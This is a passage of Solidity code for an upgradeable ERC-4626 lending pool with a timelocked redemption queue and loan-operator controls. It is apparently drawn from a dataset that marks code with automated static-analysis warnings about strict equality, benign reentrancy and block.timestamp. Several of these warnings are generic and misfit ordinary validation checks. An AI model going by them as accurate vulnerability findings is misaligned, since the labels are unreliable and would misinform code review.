_getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n\nabstract contract BaseReentrancyGuard {\n uint256 internal constant _REENTRANCY_NOT_ENTERED = 1;\n\n uint256 internal constant _REENTRANCY_ENTERED = 2;\n\n uint256 internal _reentrancyStatus;\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(\n _reentrancyStatus != _REENTRANCY_ENTERED,\n \"ReentrancyGuard: reentrant call\"\n );\n\n _reentrancyStatus = _REENTRANCY_ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _reentrancyStatus = _REENTRANCY_NOT_ENTERED;\n }\n}\n\nabstract contract BaseUpgradeableERC20 is\n IERC20,\n Initializable,\n BaseReentrancyGuard\n{\n uint8 public decimals;\n\n string public symbol;\n\n string public name;\n\n uint256 internal _totalSupply;\n\n uint256 internal _maxSupply;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n mapping(address => bool) public isBlacklisted;\n\n event OnMaxSupplyChanged(uint256 prevValue, uint256 newValue);\n\n function transfer(\n address to,\n uint256 value\n ) external override nonReentrant returns (bool) {\n return _executeErc20Transfer(msg.sender, to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override nonReentrant returns (bool) {\n uint256 currentAllowance = _allowances[from][msg.sender];\n\n require(currentAllowance >= value, \"Amount exceeds allowance\");\n\n require(\n _executeErc20Transfer(from, to, value),\n \"Failed to execute transferFrom\"\n );\n\n _approveSpender(from, msg.sender, currentAllowance - value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override nonReentrant returns (bool) {\n _approveSpender(msg.sender, spender, value);\n\n return true;\n }\n\n function getInitializedVersion() external view returns (uint8) {\n return _getInitializedVersion();\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address addr) external view override returns (uint256) {\n return _balances[addr];\n }\n\n function allowance(\n address ownerAddr,\n address spenderAddr\n ) external view override returns (uint256) {\n return _allowances[ownerAddr][spenderAddr];\n }\n\n function maxSupply() external view returns (uint256) {\n return _maxSupply;\n }\n\n function _executeErc20Transfer(\n address from,\n address to,\n uint256 value\n ) internal virtual returns (bool) {\n require(to != address(0), \"non-zero address required\");\n\n require(from != address(0), \"non-zero sender required\");\n\n require(value > 0, \"Amount cannot be zero\");\n\n require(_balances[from] >= value, \"Amount exceeds sender balance\");\n\n _balances[from] = _balances[from] - value;\n\n _balances[to] = _balances[to] + value;\n\n emit Transfer(from, to, value);\n\n return true;\n }\n\n function _approveSpender(\n address ownerAddr,\n address spender,\n uint256 value\n ) internal virtual {\n require(spender != address(0), \"non-zero spender required\");\n\n require(ownerAddr != address(0), \"non-zero owner required\");\n\n _allowances[ownerAddr][spender] = value;\n\n emit Approval(ownerAddr, spender, value);\n }\n\n function _spendAllowance(\n address ownerAddr,\n address spenderAddr,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = _allowances[ownerAddr][spenderAddr];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approveSpender(ownerAddr, spenderAddr, currentAllowance - amount);\n }\n }\n\n function _mintErc20(address addr, uint256 amount) internal virtual {\n require(amount > 0, \"Invalid amount\");\n\n require(_canMint(amount), \"Max supply limit reached\");\n\n\t\t// reentrancy-benign | ID: e6090ff\n _totalSupply += amount;\n\n\t\t// reentrancy-benign | ID: e6090ff\n _balances[addr] += amount;\n\n emit Transfer(address(0), addr, amount);\n }\n\n function _burnErc20(address addr, uint256 amount) internal virtual {\n require(amount > 0, \"Invalid amount\");\n\n require(_balances[addr] >= amount, \"Burn amount exceeds balance\");\n\n _balances[addr] -= amount;\n\n _totalSupply -= amount;\n\n emit Transfer(addr, address(0), amount);\n }\n\n function _setMaxSupply(uint256 newValue) internal virtual {\n require(newValue > 0 && newValue > _totalSupply, \"Invalid max supply\");\n\n uint256 prevValue = _maxSupply;\n\n _maxSupply = newValue;\n\n emit OnMaxSupplyChanged(prevValue, newValue);\n }\n\n function _canMint(uint256 amount) internal view virtual returns (bool) {\n return _maxSupply - _totalSupply >= amount;\n }\n}\n\nabstract contract BaseUpgradeableERC4626 is IERC4626, BaseUpgradeableERC20 {\n using MathUpgradeable for uint256;\n\n bool public depositsPaused;\n\n bool public withdrawalsPaused;\n\n IERC20 internal _underlyingAsset;\n\n address public feesCollector;\n\n uint256 public maxDepositAmount;\n\n uint256 public maxWithdrawalAmount;\n\n uint256 public withdrawalFee;\n\n event DepositWithdrawalStatusChanged(\n bool bDepositsPaused,\n bool bWithdrawalsPaused\n );\n\n modifier ifConfigured() {\n if (address(_underlyingAsset) == address(0)) revert PoolNotConfigured();\n\n _;\n }\n\n modifier ifNotConfigured() {\n if (address(_underlyingAsset) != address(0))\n revert PoolAlreadyConfigured();\n\n _;\n }\n\n modifier ifDepositsNotPaused() {\n if (depositsPaused) revert DepositsPaused();\n\n _;\n }\n\n modifier ifWithdrawalsNotPaused() {\n if (withdrawalsPaused) revert WithdrawalsPaused();\n\n _;\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b444280): BaseUpgradeableERC4626.deposit(uint256,address) uses a dangerous strict equality shares == 0\n\t// Recommendation for b444280: Don't use strict equality to determine if an account has enough Ether or tokens.\n function deposit(\n uint256 assets,\n address receiver\n )\n external\n override\n nonReentrant\n ifConfigured\n ifDepositsNotPaused\n returns (uint256 shares)\n {\n if (receiver == address(0) || receiver == address(this))\n revert InvalidReceiver();\n\n if (isBlacklisted[msg.sender] || isBlacklisted[receiver])\n revert AddressBlacklisted();\n\n if (assets == 0) revert AssetsAmountRequired();\n\n if (assets > maxDeposit(receiver)) revert DepositLimitReached();\n\n shares = previewDeposit(assets);\n\n\t\t// incorrect-equality | ID: b444280\n if (shares == 0) revert SharesAmountRequired();\n\n _deposit(msg.sender, receiver, assets, shares);\n }\n\n function mint(\n uint256 shares,\n address receiver\n )\n external\n override\n nonReentrant\n ifConfigured\n ifDepositsNotPaused\n returns (uint256 assets)\n {\n if (receiver == address(0) || receiver == address(this))\n revert InvalidReceiver();\n\n if (isBlacklisted[msg.sender] || isBlacklisted[receiver])\n revert AddressBlacklisted();\n\n if (shares == 0) revert SharesAmountRequired();\n\n if (shares > maxMint(receiver)) revert MaxMintReached();\n\n assets = previewMint(shares);\n\n if (assets > maxDeposit(receiver)) revert DepositLimitReached();\n\n _deposit(msg.sender, receiver, assets, shares);\n }\n\n function asset() external view override returns (address) {\n return address(_underlyingAsset);\n }\n\n function totalAssets() external view virtual override returns (uint256) {\n return _getTotalAssets();\n }\n\n function previewDeposit(\n uint256 assets\n ) public view virtual override returns (uint256) {\n return _convertToShares(assets, MathUpgradeable.Rounding.Down);\n }\n\n function previewMint(\n uint256 shares\n ) public view virtual override returns (uint256) {\n return _convertToAssets(shares, MathUpgradeable.Rounding.Up);\n }\n\n function previewWithdraw(\n uint256 assets\n ) public view virtual override returns (uint256) {\n return _convertToShares(assets, MathUpgradeable.Rounding.Up);\n }\n\n function previewRedeem(\n uint256 shares\n ) public view virtual override returns (uint256 assets) {\n (, assets) = _previewRedeemWithFees(shares);\n }\n\n function convertToShares(\n uint256 assets\n ) public view virtual override returns (uint256) {\n return _convertToShares(assets, MathUpgradeable.Rounding.Down);\n }\n\n function convertToAssets(\n uint256 shares\n ) public view virtual override returns (uint256) {\n return _convertToAssets(shares, MathUpgradeable.Rounding.Down);\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 58379fd): BaseUpgradeableERC4626.maxDeposit(address) uses a dangerous strict equality (_totalSupply == 0 || _getTotalAssets() > 0)\n\t// Recommendation for 58379fd: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxDeposit(\n address\n ) public view virtual override returns (uint256) {\n\t\t// incorrect-equality | ID: 58379fd\n return\n (_totalSupply == 0 || _getTotalAssets() > 0) ? maxDepositAmount : 0;\n }\n\n function maxMint(address) public view virtual override returns (uint256) {\n return _maxSupply;\n }\n\n function maxWithdraw(\n address holderAddr\n ) public view virtual override returns (uint256) {\n return\n _convertToAssets(\n _balances[holderAddr],\n MathUpgradeable.Rounding.Down\n );\n }\n\n function maxRedeem(\n address holderAddr\n ) public view virtual override returns (uint256) {\n return _balances[holderAddr];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e6090ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e6090ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _deposit(\n address callerAddr,\n address receiverAddr,\n uint256 assets,\n uint256 shares\n ) internal virtual {\n uint256 expectedBalanceAfterTransfer = assets +\n _underlyingAsset.balanceOf(address(this));\n\n\t\t// reentrancy-benign | ID: e6090ff\n SafeERC20.safeTransferFrom(\n _underlyingAsset,\n callerAddr,\n address(this),\n assets\n );\n\n if (\n _underlyingAsset.balanceOf(address(this)) !=\n expectedBalanceAfterTransfer\n ) revert BalanceCheckFailed();\n\n\t\t// reentrancy-benign | ID: e6090ff\n _mintErc20(receiverAddr, shares);\n\n emit Deposit(callerAddr, receiverAddr, assets, shares);\n }\n\n function _updateIssuanceLimits(\n uint256 newMaxDepositAmount,\n uint256 newMaxWithdrawalAmount,\n uint256 newMaxTokenSupply\n ) internal virtual {\n if (newMaxDepositAmount == 0) revert InvalidDepositLimit();\n\n if (newMaxWithdrawalAmount == 0) revert InvalidWithdrawalLimit();\n\n _setMaxSupply(newMaxTokenSupply);\n\n maxDepositAmount = newMaxDepositAmount;\n\n maxWithdrawalAmount = newMaxWithdrawalAmount;\n }\n\n function _setPause(\n bool bPauseDeposits,\n bool bPauseWithdrawals\n ) internal virtual {\n depositsPaused = bPauseDeposits;\n\n withdrawalsPaused = bPauseWithdrawals;\n\n emit DepositWithdrawalStatusChanged(depositsPaused, withdrawalsPaused);\n }\n\n function _getTotalAssets() internal view virtual returns (uint256);\n\n function _initialConvertToShares(\n uint256 assets,\n MathUpgradeable.Rounding\n ) internal view virtual returns (uint256 shares) {\n return assets;\n }\n\n function _initialConvertToAssets(\n uint256 shares,\n MathUpgradeable.Rounding\n ) internal view virtual returns (uint256) {\n return shares;\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0b87526): BaseUpgradeableERC4626._convertToShares(uint256,MathUpgradeable.Rounding) uses a dangerous strict equality (assets == 0 || _totalSupply == 0)\n\t// Recommendation for 0b87526: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _convertToShares(\n uint256 assets,\n MathUpgradeable.Rounding rounding\n ) internal view virtual returns (uint256) {\n\t\t// incorrect-equality | ID: 0b87526\n return\n (assets == 0 || _totalSupply == 0)\n ? _initialConvertToShares(assets, rounding)\n : assets.mulDiv(_totalSupply, _getTotalAssets(), rounding);\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 636c499): BaseUpgradeableERC4626._convertToAssets(uint256,MathUpgradeable.Rounding) uses a dangerous strict equality (_totalSupply == 0)\n\t// Recommendation for 636c499: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _convertToAssets(\n uint256 shares,\n MathUpgradeable.Rounding rounding\n ) internal view virtual returns (uint256) {\n\t\t// incorrect-equality | ID: 636c499\n return\n (_totalSupply == 0)\n ? _initialConvertToAssets(shares, rounding)\n : shares.mulDiv(_getTotalAssets(), _totalSupply, rounding);\n }\n\n function _previewRedeemWithFees(\n uint256 shares\n ) internal view returns (uint256 assetsAmount, uint256 assetsAfterFee) {\n assetsAmount = _convertToAssets(shares, MathUpgradeable.Rounding.Down);\n\n assetsAfterFee = assetsAmount;\n\n uint256 applicableFee = 0;\n\n if (withdrawalFee > 0) {\n applicableFee = (withdrawalFee * assetsAmount) / 1e4;\n\n assetsAfterFee = assetsAmount - applicableFee;\n }\n\n return (assetsAmount, assetsAfterFee);\n }\n}\n\nabstract contract TimelockedERC4626 is BaseUpgradeableERC4626 {\n uint256 internal constant _TIMESTAMP_MANIPULATION_WINDOW = 5 minutes;\n\n struct RedeemSummary {\n uint256 shares;\n uint256 assets;\n }\n\n uint8 public liquidationHour;\n\n uint256 public lagDuration;\n\n uint256 public globalLiabilityShares;\n\n uint256 public totalCollectableFees;\n\n address public settlementAccount;\n\n mapping(bytes32 => RedeemSummary) internal _dailyRequirement;\n\n mapping(bytes32 => address[]) internal _uniqueReceiversPerCluster;\n\n mapping(bytes32 => mapping(address => uint256)) internal _receiverIndexes;\n\n mapping(bytes32 => mapping(address => uint256)) internal _receiverAmounts;\n\n mapping(bytes32 => mapping(address => uint256)) internal _burnableAmounts;\n\n mapping(bytes32 => mapping(address => uint256))\n internal _feeAmountsByReceiver;\n\n mapping(bytes32 => mapping(address => uint256)) internal _traceableRequests;\n\n event WithdrawalRequested(\n address ownerAddr,\n address receiverAddr,\n uint256 shares,\n uint256 assets,\n uint256 fee,\n uint256 year,\n uint256 month,\n uint256 day\n );\n\n event WithdrawalProcessed(\n uint256 assetsAmount,\n uint256 processedOn,\n address receiverAddr,\n uint256 requestedOn,\n bool wasBlacklisted\n );\n\n function withdraw(\n uint256,\n address,\n address\n ) external pure override returns (uint256) {\n revert WithdrawalRequestRequired();\n }\n\n function redeem(\n uint256,\n address,\n address\n ) external pure override returns (uint256) {\n revert WithdrawalRequestRequired();\n }\n\n function requestRedeem(\n uint256 shares,\n address receiverAddr,\n address holderAddr\n )\n external\n nonReentrant\n ifConfigured\n ifWithdrawalsNotPaused\n returns (uint256 assets, uint256 claimableEpoch)\n {\n if (\n isBlacklisted[msg.sender] ||\n isBlacklisted[receiverAddr] ||\n isBlacklisted[holderAddr]\n ) revert AddressBlacklisted();\n\n uint256 year;\n\n uint256 month;\n\n uint256 day;\n\n (claimableEpoch, year, month, day, assets) = _registerRedeemRequest(\n shares,\n holderAddr,\n receiverAddr,\n msg.sender\n );\n\n if (lagDuration == 0) {\n claimableEpoch = block.timestamp;\n\n _claim(year, month, day, receiverAddr);\n }\n }\n\n function claim(\n uint256 year,\n uint256 month,\n uint256 day,\n address receiverAddr\n )\n external\n nonReentrant\n ifConfigured\n ifWithdrawalsNotPaused\n returns (uint256, uint256)\n {\n if (isBlacklisted[msg.sender] || isBlacklisted[receiverAddr])\n revert AddressBlacklisted();\n\n return _claim(year, month, day, receiverAddr);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 17d28a4): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 17d28a4: Avoid relying on 'block.timestamp'.\n function processAllClaimsByDate(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 maxLimit\n ) external nonReentrant ifConfigured ifWithdrawalsNotPaused {\n if (maxLimit == 0) revert LimitRequired();\n\n if (isBlacklisted[msg.sender]) revert AddressBlacklisted();\n\n if (settlementAccount == address(0)) revert SettlementAccountNotSet();\n\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n if (_dailyRequirement[dailyCluster].assets == 0)\n revert NothingToProcess();\n\n if (\n\t\t\t// timestamp | ID: 17d28a4\n block.timestamp + _TIMESTAMP_MANIPULATION_WINDOW <\n DateUtils.timestampFromDateTime(\n year,\n month,\n day,\n liquidationHour,\n 0,\n 0\n )\n ) revert TooEarly();\n\n uint256 workSize = (_uniqueReceiversPerCluster[dailyCluster].length >\n maxLimit)\n ? maxLimit\n : _uniqueReceiversPerCluster[dailyCluster].length;\n\n uint256 startingPos = _uniqueReceiversPerCluster[dailyCluster].length;\n\n address[] memory receivers = new address[](workSize);\n\n uint256[] memory amounts = new uint256[](workSize);\n\n uint256 totalFees;\n\n uint256 sharesToBurn;\n\n uint256 assetsToSend;\n\n uint256 x = workSize;\n\n address receiverAddr;\n\n for (uint256 i = startingPos; i > (startingPos - workSize); i--) {\n receiverAddr = _uniqueReceiversPerCluster[dailyCluster][i - 1];\n\n x--;\n\n receivers[x] = receiverAddr;\n\n amounts[x] = _receiverAmounts[dailyCluster][receiverAddr];\n\n assetsToSend += amounts[x];\n\n sharesToBurn += _burnableAmounts[dailyCluster][receiverAddr];\n\n totalFees += _feeAmountsByReceiver[dailyCluster][receiverAddr];\n\n _receiverAmounts[dailyCluster][receiverAddr] = 0;\n\n _burnableAmounts[dailyCluster][receiverAddr] = 0;\n\n _feeAmountsByReceiver[dailyCluster][receiverAddr] = 0;\n\n _uniqueReceiversPerCluster[dailyCluster].pop();\n\n _receiverIndexes[dailyCluster][receiverAddr] = 0;\n }\n\n globalLiabilityShares -= sharesToBurn;\n\n totalCollectableFees += totalFees;\n\n _dailyRequirement[dailyCluster].assets -= assetsToSend;\n\n _dailyRequirement[dailyCluster].shares -= sharesToBurn;\n\n uint256 balanceBefore = IERC20(_underlyingAsset).balanceOf(\n address(this)\n );\n\n if (balanceBefore < assetsToSend) revert InsufficientBalance();\n\n _burnErc20(address(this), sharesToBurn);\n\n _sendFunds(dailyCluster, receivers, amounts);\n\n if (\n IERC20(_underlyingAsset).balanceOf(address(this)) !=\n balanceBefore - assetsToSend\n ) revert BalanceCheckFailed();\n }\n\n function getWithdrawalEpoch()\n external\n view\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 claimableEpoch\n )\n {\n (year, month, day) = DateUtils.timestampToDate(\n block.timestamp + _TIMESTAMP_MANIPULATION_WINDOW + lagDuration\n );\n\n claimableEpoch = DateUtils.timestampFromDateTime(\n year,\n month,\n day,\n liquidationHour,\n 0,\n 0\n );\n }\n\n function getRequirementByDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) external view returns (uint256 shares, uint256 assets) {\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n shares = _dailyRequirement[dailyCluster].shares;\n\n assets = _dailyRequirement[dailyCluster].assets;\n }\n\n function getClaimableAmountByReceiver(\n uint256 year,\n uint256 month,\n uint256 day,\n address receiverAddr\n ) external view returns (uint256) {\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n return _receiverAmounts[dailyCluster][receiverAddr];\n }\n\n function getBurnableAmountByReceiver(\n uint256 year,\n uint256 month,\n uint256 day,\n address receiverAddr\n ) external view returns (uint256) {\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n return _burnableAmounts[dailyCluster][receiverAddr];\n }\n\n function getScheduledTransactionsByDate(\n uint256 year,\n uint256 month,\n uint256 day\n )\n external\n view\n returns (uint256 totalTransactions, uint256 executionEpoch)\n {\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n totalTransactions = _uniqueReceiversPerCluster[dailyCluster].length;\n\n executionEpoch = DateUtils.timestampFromDateTime(\n year,\n month,\n day,\n liquidationHour,\n 0,\n 0\n );\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 753a506): TimelockedERC4626._registerRedeemRequest(uint256,address,address,address) uses a dangerous strict equality assetsAfterFee == 0\n\t// Recommendation for 753a506: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _registerRedeemRequest(\n uint256 shares,\n address holderAddr,\n address receiverAddr,\n address callerAddr\n )\n internal\n returns (\n uint256 claimableEpoch,\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 effectiveAssetsAmount\n )\n {\n if (holderAddr == address(this)) revert InvalidHolder();\n\n if (shares == 0) revert SharesAmountRequired();\n\n if (_balances[holderAddr] < shares) revert InsufficientShares();\n\n (uint256 assetsAmount, uint256 assetsAfterFee) = _previewRedeemWithFees(\n shares\n );\n\n if (assetsAmount > maxWithdraw(holderAddr))\n revert WithdrawalLimitReached();\n\n\t\t// incorrect-equality | ID: 753a506\n if (assetsAfterFee == 0) revert AmountTooLow();\n\n uint256 applicableFee = assetsAmount - assetsAfterFee;\n\n effectiveAssetsAmount = assetsAfterFee;\n\n (year, month, day) = DateUtils.timestampToDate(\n block.timestamp + _TIMESTAMP_MANIPULATION_WINDOW + lagDuration\n );\n\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n claimableEpoch = DateUtils.timestampFromDateTime(\n year,\n month,\n day,\n liquidationHour,\n 0,\n 0\n );\n\n if (callerAddr != holderAddr)\n _spendAllowance(holderAddr, callerAddr, shares);\n\n _executeErc20Transfer(holderAddr, address(this), shares);\n\n _dailyRequirement[dailyCluster].assets += assetsAmount;\n\n _dailyRequirement[dailyCluster].shares += shares;\n\n globalLiabilityShares += shares;\n\n if (_receiverAmounts[dailyCluster][receiverAddr] == 0) {\n _uniqueReceiversPerCluster[dailyCluster].push(receiverAddr);\n\n _receiverIndexes[dailyCluster][\n receiverAddr\n ] = _uniqueReceiversPerCluster[dailyCluster].length;\n }\n\n _receiverAmounts[dailyCluster][receiverAddr] += assetsAfterFee;\n\n _burnableAmounts[dailyCluster][receiverAddr] += shares;\n\n _feeAmountsByReceiver[dailyCluster][receiverAddr] += applicableFee;\n\n _traceableRequests[dailyCluster][receiverAddr] = block.timestamp;\n\n emit WithdrawalRequested(\n holderAddr,\n receiverAddr,\n shares,\n assetsAmount,\n applicableFee,\n year,\n month,\n day\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 81a78af): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 81a78af: Avoid relying on 'block.timestamp'.\n function _claim(\n uint256 year,\n uint256 month,\n uint256 day,\n address receiverAddr\n ) internal returns (uint256, uint256) {\n bytes32 dailyCluster = keccak256(abi.encode(year, month, day));\n\n uint256 shares = _burnableAmounts[dailyCluster][receiverAddr];\n\n if (shares == 0) revert NoSharesForReceiver();\n\n uint256 claimableAssets = _receiverAmounts[dailyCluster][receiverAddr];\n\n uint256 assetFee = _feeAmountsByReceiver[dailyCluster][receiverAddr];\n\n if (lagDuration > 0) {\n if (\n\t\t\t\t// timestamp | ID: 81a78af\n block.timestamp + _TIMESTAMP_MANIPULATION_WINDOW <\n DateUtils.timestampFromDateTime(\n year,\n month,\n day,\n liquidationHour,\n 0,\n 0\n )\n ) revert TooEarly();\n }\n\n _receiverAmounts[dailyCluster][receiverAddr] = 0;\n\n _burnableAmounts[dailyCluster][receiverAddr] = 0;\n\n _feeAmountsByReceiver[dailyCluster][receiverAddr] = 0;\n\n _dailyRequirement[dailyCluster].shares -= shares;\n\n _dailyRequirement[dailyCluster].assets -= (claimableAssets + assetFee);\n\n globalLiabilityShares -= shares;\n\n totalCollectableFees += assetFee;\n\n _deleteReceiver(dailyCluster, receiverAddr);\n\n _burnErc20(address(this), shares);\n\n emit WithdrawalProcessed(\n claimableAssets,\n block.timestamp,\n receiverAddr,\n _traceableRequests[dailyCluster][receiverAddr],\n false\n );\n\n uint256 balanceBefore = IERC20(_underlyingAsset).balanceOf(\n address(this)\n );\n\n SafeERC20.safeTransfer(_underlyingAsset, receiverAddr, claimableAssets);\n\n if (\n balanceBefore - claimableAssets <\n IERC20(_underlyingAsset).balanceOf(address(this))\n ) revert BalanceCheckFailed();\n\n return (shares, claimableAssets);\n }\n\n function _deleteReceiver(bytes32 dailyCluster, address addr) private {\n uint256 idx = _receiverIndexes[dailyCluster][addr] - 1;\n\n uint256 totalReceiversByDate = _uniqueReceiversPerCluster[dailyCluster]\n .length;\n\n address lastItem = _uniqueReceiversPerCluster[dailyCluster][\n totalReceiversByDate - 1\n ];\n\n if (addr != lastItem) {\n _uniqueReceiversPerCluster[dailyCluster][\n totalReceiversByDate - 1\n ] = _uniqueReceiversPerCluster[dailyCluster][idx];\n\n _uniqueReceiversPerCluster[dailyCluster][idx] = lastItem;\n\n _receiverIndexes[dailyCluster][lastItem] = idx + 1;\n }\n\n _uniqueReceiversPerCluster[dailyCluster].pop();\n\n _receiverIndexes[dailyCluster][addr] = 0;\n }\n\n function _sendFunds(\n bytes32 dailyCluster,\n address[] memory receivers,\n uint256[] memory amounts\n ) private {\n address recipientAddr;\n\n for (uint256 i; i < receivers.length; i++) {\n recipientAddr = (isBlacklisted[receivers[i]])\n ? settlementAccount\n : receivers[i];\n\n emit WithdrawalProcessed(\n amounts[i],\n block.timestamp,\n receivers[i],\n _traceableRequests[dailyCluster][receivers[i]],\n isBlacklisted[receivers[i]]\n );\n\n SafeERC20.safeTransfer(_underlyingAsset, recipientAddr, amounts[i]);\n }\n }\n}\n\nabstract contract OwnableLiquidityPool is TimelockedERC4626, BaseOwnable {\n event OnEmergencyWithdraw(\n uint256 withdrawalAmount,\n address tokenAddr,\n address destinationAddr\n );\n\n function emergencyWithdraw(\n IERC20 token,\n address destinationAddr\n ) external virtual nonReentrant ifConfigured onlyOwner {\n if (isBlacklisted[destinationAddr]) revert AddressBlacklisted();\n\n uint256 currentBalance = token.balanceOf(address(this));\n\n if (address(token) == address(_underlyingAsset)) {\n _setPause(true, true);\n }\n\n SafeERC20.safeTransfer(token, destinationAddr, currentBalance);\n\n emit OnEmergencyWithdraw(\n currentBalance,\n address(token),\n destinationAddr\n );\n }\n\n function owner() external view returns (address) {\n return _owner;\n }\n}\n\nabstract contract AbstractLender is OwnableLiquidityPool {\n address public loansOperator;\n\n modifier onlyLoansOperator() {\n if (msg.sender != loansOperator) revert LoansOperatorOnly();\n\n _;\n }\n\n function proposeNewApr(\n address loanAddr,\n uint256 newAprWithTwoDecimals\n ) external nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).proposeNewApr(newAprWithTwoDecimals);\n }\n\n function acceptPrincipalIncrease(\n address loanAddr\n ) external nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).acceptPrincipalIncrease();\n }\n\n function changeLateFees(\n address loanAddr,\n uint256 lateInterestFeeWithTwoDecimals,\n uint256 latePrincipalFeeWithTwoDecimals\n ) external nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).changeLateFees(\n lateInterestFeeWithTwoDecimals,\n latePrincipalFeeWithTwoDecimals\n );\n }\n\n function changeMaintenanceCollateralRatio(\n address loanAddr,\n uint256 maintenanceCollateralRatioWith2Decimals\n ) external nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).changeMaintenanceCollateralRatio(\n maintenanceCollateralRatioWith2Decimals\n );\n }\n\n function callLoan(\n address loanAddr,\n uint256 callbackPeriodInSeconds,\n uint256 gracePeriodInSeconds\n ) external nonReentrant ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).callLoan(\n callbackPeriodInSeconds,\n gracePeriodInSeconds\n );\n }\n\n function liquidate(\n address loanAddr\n ) external ifConfigured onlyLoansOperator {\n _ensureValidLoan(loanAddr);\n\n IPeerToPeerOpenTermLoan(loanAddr).liquidate();\n }\n\n function fundLoan(address loanAddr) external virtual;\n\n function _ensureValidLoan(address loanAddr) internal view virtual;\n}\n\nabstract contract HookableLender is IHookableLender, AbstractLender {\n struct LoanDeploymentRecord {\n uint256 effectiveLoanAmount;\n uint256 activeDelta;\n bool isWhitelisted;\n }\n\n uint256 public globalLoansAmount;\n\n mapping(address => LoanDeploymentRecord) internal _deployedLoans;\n\n modifier onlyKnownLoanContract() {\n if (!_deployedLoans[msg.sender].isWhitelisted) revert UnknownLoan();\n\n _;\n }\n\n function notifyLoanMatured()\n external\n override\n nonReentrant\n ifConfigured\n onlyKnownLoanContract\n {\n if (_deployedLoans[msg.sender].activeDelta > 0)\n globalLoansAmount -= _deployedLoans[msg.sender].activeDelta;\n\n _deployedLoans[msg.sender].activeDelta = 0;\n }\n\n function notifyLoanClosed()\n external\n override\n nonReentrant\n ifConfigured\n onlyKnownLoanContract\n {\n if (_deployedLoans[msg.sender].activeDelta > 0)\n globalLoansAmount -= _deployedLoans[msg.sender].activeDelta;\n\n _deployedLoans[msg.sender].activeDelta = 0;\n }\n\n function notifyPrincipalRepayment(\n uint256 effectiveLoanAmount,\n uint256 principalRepaid\n ) external override nonReentrant ifConfigured onlyKnownLoanContract {\n uint256 newDelta = (principalRepaid < effectiveLoanAmount)\n ? effectiveLoanAmount - principalRepaid\n : 0;\n\n if (_deployedLoans[msg.sender].activeDelta > 0)\n globalLoansAmount -= _deployedLoans[msg.sender].activeDelta;\n\n _deployedLoans[msg.sender].activeDelta = newDelta;\n\n if (newDelta > 0) globalLoansAmount += newDelta;\n }\n\n function _ensureValidLoan(address loanAddr) internal view override {\n if (!_deployedLoans[loanAddr].isWhitelisted) revert UnknownLoan();\n }\n\n function _getTotalAssets()\n internal\n view\n virtual\n override\n returns (uint256)\n {\n return globalLoansAmount + _underlyingAsset.balanceOf(address(this));\n }\n}\n\nabstract contract BaseLendingPool is HookableLender {\n address public loansDeployerAddress;\n\n address[] public loansDeployed;\n\n event NewLoanDeployedByPool(address loanAddr, uint256 aprWithTwoDecimals);\n\n event FeeCollectorUpdated(address newFeeCollectorAddr);\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 07af39d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 07af39d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deployLoan(\n LoanDeploymentParams memory loanParams\n ) external nonReentrant ifConfigured onlyLoansOperator returns (address) {\n loanParams.lenderAddr = address(this);\n\n\t\t// reentrancy-benign | ID: 